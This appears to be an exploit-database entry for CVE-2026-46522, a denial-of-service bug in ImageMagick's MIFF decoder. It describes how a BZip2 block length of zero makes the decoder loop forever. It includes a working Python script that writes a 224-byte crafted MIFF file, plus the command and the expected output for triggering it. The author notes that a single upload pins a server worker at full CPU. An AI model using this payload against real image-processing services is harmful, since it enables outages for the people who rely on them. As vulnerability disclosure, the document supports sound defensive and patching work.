ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion
# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion # Google Dork: N/A # Date: 2026-05-13 # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec # Vendor Homepage: https://imagemagick.org/ # Software Link: https://imagemagick.org/download/ # Version: ImageMagick 7.x, verified on 7.1.2-3 system # CVE : CVE-2026-46522 # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5 """ Description ----------- coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU. LZMA and Zip branches have the same code shape but their decompressor libraries return BUF_ERROR on empty input, so they bail out. Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU until killed by a request timeout or by the OS. Usage ----- python3 miff_bzip_dos.py [OUTPUT_PATH] Default OUTPUT_PATH is /tmp/poc.miff. Then trigger: /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\ timeout 5 magick identify /tmp/poc.miff Expected output: Command exited with non-zero status 124 wall=5.00s user=5.00s cpu=100% exit=124 The process never finishes on its own. Timeout kills it. """ import sys def craft_miff(path: str) -> None: header = ( b"id=ImageMagick version=1.0\n" b"class=DirectClass colors=0 alpha-trait=Undefined\n" b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n" b"columns=1 rows=1 depth=8\n" b"colorspace=sRGB compression=BZip quality=75\n" b"\x0c\n" # form feed terminator, then one byte consumed by ReadBlobByte ) body = b"\x00\x00\x00\x00" # 4-byte MSB length=0, triggers the infinite loop with open(path, "wb") as f: f.write(header + body) import os print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)") print(f"[+] Trigger with:") print(f" /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\") print(f" timeout 5 magick identify {path}") if __name__ == "__main__": craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff") |